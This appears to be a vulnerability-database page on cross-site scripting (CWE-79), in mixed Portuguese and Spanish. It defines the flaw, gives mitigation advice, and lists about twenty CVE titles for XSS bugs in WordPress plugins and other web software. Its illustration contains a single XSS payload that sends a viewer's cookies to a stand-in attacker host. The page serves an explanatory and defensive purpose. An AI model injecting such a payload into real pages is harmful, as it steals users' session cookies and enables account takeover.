Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-7129MEDIUMSourceCodester Pharmacy Sales and Inventory System index.php cross site scriptingEPSS 0.3%CVE-2026-89244MEDIUMWWBN AVideo Reflected XSS via Gallery Category getBackURLEPSS 0.3%CVE-2024-56262MEDIUMWordPress GS Coaches plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31595MEDIUMWordPress Timeline Event History plugin <= 3.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-110224MEDIUMQloApps through 1.7.0 Reflected XSS via Search Alias Validation ErrorsEPSS 0.3%CVE-2025-47630MEDIUMWordPress Ajax Load More plugin <= 7.3.1.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-96739MEDIUMSEMCMS KindEditor Upload upload_json.php cross site scriptingEPSS 0.3%CVE-2024-3998MEDIUMBetheme | Responsive Multipurpose WordPress & WooCommerce Theme <= 27.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-30342MEDIUMAn XSS issue was discovered in OpenSlides before 4.2.5. When submitting descriptions such as Moderator Notes or Agenda Topics, an editor is EPSS 0.3%CVE-2024-2784MEDIUMThe Plus Addons for Elementor <= 5.5.4 - Authenticated (Contibutor+) Stored Cross-Site Scripting via Hover CardEPSS 0.3%CVE-2025-22642MEDIUMWordPress Dynamic Conditions plugin <= 1.7.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51769MEDIUMFrappe before 14.49.0 allows an XSS attack that is associated with blog pages and exception pages.EPSS 0.3%CVE-2024-2254MEDIUMRT Easy Builder – Advanced addons for Elementor <= 2.3 - Authenticated (Contributor+) Stored Cross-site ScriptingEPSS 0.3%CVE-2024-5263MEDIUMElementsKit Elementor addons and Templates Library <= 3.6.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Motion Text and Table WidgetsEPSS 0.3%CVE-2026-54720MEDIUMSilverstripe Framework: Possible XSS attack through media embedEPSS 0.3%CVE-2024-5330MEDIUMBreakdance <= 1.7.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2026-113661MEDIUMApostropheCMS: Incomplete CVE-2026-53606: `meta http-equiv=refresh` `content` still ships `javascript:` / `data:` URLsEPSS 0.3%CVE-2024-43915MEDIUMWordPress Zephyr Project Manager plugin <=3.3.102 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-56245MEDIUMWordPress Premium Blocks plugin <= 2.1.42 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-31562MEDIUMWordPress Uptime Robot Plugin for WordPress plugin <= 2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%